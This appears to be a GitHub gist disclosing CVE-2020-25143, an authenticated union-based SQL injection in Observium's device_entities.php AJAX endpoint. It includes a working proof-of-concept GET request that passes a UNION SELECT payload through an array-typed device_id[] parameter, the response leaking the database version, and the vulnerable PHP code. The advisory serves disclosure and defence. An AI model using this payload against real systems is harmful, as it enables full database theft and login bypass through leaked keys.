Skip to content

Instantly share code, notes, and snippets.

@ahpaleus
Created September 22, 2020 09:17
Show Gist options
  • Save ahpaleus/e75388086061ce52616967ba9ec63820 to your computer and use it in GitHub Desktop.
Save ahpaleus/e75388086061ce52616967ba9ec63820 to your computer and use it in GitHub Desktop.
CVE-2020-25143
------------------------------------------
Authenticated Union Based SQL Injection
------------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to SQL Injection due to the fact that it is possible to inject malicious SQL statements in malformed parameter types. Sending improper variable type “Array” allows to bypass core SQL Injection sanitization. Authenticated users are able to inject malicious SQL queries. This vulnerability leads to full database leak and even ckeys that can be used in the authentication process without knowing of username and clear text passwords.
------------------------------------------
[Additional Information]
Please note that Proof of Concepts regarding SQL injection points works even without the “debug” parameter that was included in the request. Debug was only added due to better track insertion point.
We want to mention that the source code of Observium was downloaded from the following URL:
http://www.observium.org/observium-community-latest.tar.gz
We have tested this vulnerability on CE and PRO version (Paid), both softwares were vulnerable.
Vulnerability was exploited by sending crafted variable type "Array". Core sanitization does not properly handle this type of parameters.
Example request that allows injecting SQL queries by sending crafted Array "device_id[]" parameter:
GET /ajax/device_entities.php?entity_type=netscalervsvr&device_id[]=-1+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OBSID=75cvg4vjit69libv005f0blp7jguen2t; observium_screen_ratio=2; observium_screen_resolution=1680x1050
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0
Server response:
HTTP/1.1 200 OK
Date: Thu, 13 Aug 2020 08:28:36 GMT
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
X-Content-Type-Options: nosniff
Content-Length: 68
Connection: close
Content-Type: text/html; charset=UTF-8
obj.options[obj.options.length] = new Option('5','5.5.65-MariaDB');
Below we present vulnerable code:
/var/opt/observium/html/ajax/device_entities.php
41 case "netscalervsvr":
42 foreach (dbFetch("SELECT * FROM `netscaler_vservers` WHERE `device_id` = ?", array($_GET['device_id'])) as $entity)
43 {
44 $string = addslashes($entity['vsvr_label']);
45 echo("obj.options[obj.options.length] = new Option('".$string."','".$entity['vsvr_id']."');\n");
46 }
47 break;
------------------------------------------
[VulnerabilityType Other]
Union Based SQL Injection
------------------------------------------
[Vendor of Product]
https://www.observium.org/
------------------------------------------
[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631
------------------------------------------
[Affected Component]
Ajax/device_entities
------------------------------------------
[Attack Type]
Remote - authenticated users
------------------------------------------
[Reference]
https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Query_Parameterization_Cheat_Sheet.md
------------------------------------------
[Discoverer]
Maciej Domański
------------------------------------------
Maciej Domański / AFINE.com team
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment